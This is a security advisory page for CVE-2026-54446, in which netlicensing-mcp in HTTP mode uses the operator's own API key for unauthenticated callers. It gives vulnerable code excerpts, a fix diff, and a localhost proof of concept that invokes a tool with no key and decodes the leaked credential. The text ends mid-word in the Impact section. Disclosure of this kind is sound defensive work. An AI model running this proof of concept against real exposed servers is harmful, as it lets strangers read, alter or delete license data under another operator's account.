---
id: "CVE-2026-54446"
kind: "vulnerability"
aliases: ["CVE-2026-54446", "GHSA-x9vc-9ffq-p3gj"]
title: "NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode"
severity: "high"
cvss: 8.100000381469727
epss: 0.0061900001019239426
exploited: false
status: "open"
category: "package"
products: [{"name": "netlicensing-mcp", "fixed": ["0.1.6"], "affected": "<= 0.1.5", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["aws-app-runner", "cwe-306", "netlicensing", "package", "pypi", "python", "self-hosted"]
not_affected_if: ["network-restricted", "no-server-side-api-key", "stdio-transport-only"]
published_at: "2026-07-14T20:47:19+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:44:12+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-x9vc-9ffq-p3gj", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54446", "first_seen_at": "2026-10-23T23:44:52+00:00"}]
---

# NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode

netlicensing-mcp in HTTP mode does not reject requests that lack an API key, so the server uses its own NETLICENSING_API_KEY for upstream calls. An unauthenticated network attacker can run any MCP tool, including delete operations, under the operator's NetLicensing account.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:netlicensing-mcp affected <= 0.1.5 fixed 0.1.6

## How to check

Run the server with transport http and check whether /mcp answers a request sent with no x-netlicensing-api-key header and no apikey query parameter.
If NETLICENSING_API_KEY is set in the environment of a network-reachable instance, the exposure is confirmed by the advisory's reproduction.

## Fix

Upgrade netlicensing-mcp to 0.1.6 or later (affected <= 0.1.5).
Until then, do not expose the HTTP transport to untrusted networks or remove the server-side NETLICENSING_API_KEY.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-x9vc-9ffq-p3gj
- 2026-10-23T23:44:52+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-54446

## From the sources

## Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode

### Summary

When `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator's `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.

### Details

The HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.

The downstream client module (`src/netlicensing_mcp/client.py`) uses a Python `ContextVar` named `api_key_ctx` with a default of `os.getenv("NETLICENSING_API_KEY", "")` (line 30). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (`lines 62–70`) and transmits it to the upstream NetLicensing REST API on every request (`lines 105, 109`).

The complete exploitable data flow is:

| Step | Location | Description |
|------|----------|-------------|
| 1 | `server.py:1430` | HTTP app created with `mcp.streamable_http_app()` |
| 2 | `server.py:1431` | `ApiKeyMiddleware` registered |
| 3 | `server.py:1412–1419` | Middleware attempts (optional) key extraction from headers/query |
| 4 | `server.py:1427` | **Auth bypass sink**: missing key → `return await call_next(request)` |
| 5 | `server.py:155–163` | Unauthenticated caller invokes `netlicensing_list_products` (or any tool) |
| 6 | `tools/products.py:9,17` | Tool delegates to `nl_get("/product", ...)` |
| 7 | `client.py:30` | **Source**: `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var |
| 8 | `client.py:62–70` | `Authorization: Basic base64("apiKey:<key>")` constructed |
| 9 | `client.py:105,109` | **Upstream sink**: `client.get(url, headers=_headers(), ...)` executed |

Critical code excerpts:

```python
# src/netlicensing_mcp/server.py
1418:     if not key:
1419:         key = request.query_params.get("apikey")
1421:     if key:
1422:         token = api_key_ctx.set(key)
            ...
1427:     return await call_next(request)   # <-- no rejection when key is absent
```

```python
# src/netlicensing_mcp/client.py
30:  "api_key", default=os.getenv("NETLICENSING_API_KEY", "")   # server-side fallback
...
64:  auth_str = f"apiKey:{api_key}"
70:  "Authorization": f"Basic {token}",
...
109: r = await client.get(url, headers=_headers(), params=params or {})
```

The README (`README.md:90–94`) documents the HTTP mode deployment pattern with `-e NETLICENSING_API_KEY=your_key` as a first-class production deployment option, including AWS App Runner / ELB examples (`README.md:310–318`). The per-client key recommendation (`README.md:318`) is advisory only and is not technically enforced.

A suggested patch replaces the unconditional pass-through with a `401` rejection:

```diff
--- a/src/netlicensing_mcp/server.py
+++ b/src/netlicensing_mcp/server.py
@@
          class ApiKeyMiddleware(BaseHTTPMiddleware):
              async def dispatch(self, request: Request, call_next):
+                 if request.url.path == "/health":
+                     return await call_next(request)
+
                  key = request.headers.get("x-netlicensing-api-key")
                  if not key:
                      auth = request.headers.get("authorization")
                      if auth and auth.lower().startswith("bearer "):
                          key = auth[7:]
@@
                          return await call_next(request)
                      finally:
                          api_key_ctx.reset(token)
-                 return await call_next(request)
+                 return JSONResponse(
+                     {"error": "NetLicensing API key is required for HTTP transport"},
+                     status_code=401,
+                 )
```

### PoC

**Environment requirements:**
- Docker (or Python 3.12 with `netlicensing-mcp==0.1.5` and `mcp` client installed)
- Target commit: `ef0080c2aebbf4dfbce93a959dd7c1471103c05a`

**Self-contained Docker reproduction (all-in-one):**

```
# Build the image from the repository root
docker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .

# Run the PoC — exits 0 on confirmed exploit
docker run --rm --network=host vuln-001-netlicensing
```

**Manual step-by-step reproduction:**

```
# Terminal 1 — mock upstream NetLicensing REST API
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print("MOCK_REQUEST", self.command, self.path,
              self.headers.get("Authorization"), flush=True)
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps({"items": {"item": []}}).encode())
    def log_message(self, *args): pass
HTTPServer(("127.0.0.1", 19090), H).serve_forever()
PY

# Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key
NETLICENSING_API_KEY=SERVERSECRET \
NETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \
MCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \
python3 -m netlicensing_mcp.server http

# Terminal 3 — attacker: connect with NO API key and invoke a tool
python3 - <<'PY'
import asyncio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client

async def main():
    async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _):
        async with ClientSession(read, write) as session:
            await session.initialize()
            print(await session.call_tool("netlicensing_list_products", {"filter": ""}))

asyncio.run(main())
PY
```

**Expected output in Terminal 1:**

```
MOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
```

Decoding the Base64 credential confirms the operator's secret was used:

```
$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d
apiKey:SERVERSECRET
```

**Observed evidence from dynamic reproduction (Phase 2):**

```
[MOCK_UPSTREAM] GET /core/v2/rest/product  Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own
NETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.
CWE-306 / VULN-001 reproduced.
```

### Impact

This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any network-reachable attacker who can send HTTP requests to the `/mcp` endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account.

Concrete consequences include:

- **Confidentiality**: enumeration of all products, licenses, licensees, and transactions associated with the operator's account.
- **Integrity**: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.
- **Availability**: bulk deletio

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
